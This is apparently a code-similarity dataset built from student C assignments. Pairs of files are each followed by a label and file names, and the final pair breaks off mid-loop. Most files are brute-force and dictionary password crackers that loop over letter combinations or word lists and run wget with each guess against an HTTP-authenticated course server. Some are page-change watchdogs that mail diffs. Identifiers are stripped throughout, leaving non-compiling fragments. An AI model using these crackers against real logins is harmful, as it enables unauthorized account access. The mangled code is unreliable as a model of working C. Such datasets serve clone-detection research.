#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
053.c
054.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
053.c
021.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
053.c
030.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
053.c
044.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
053.c
051.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
053.c
066.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
053.c
026.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
053.c
067.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
053.c
024.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
053.c
009.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; 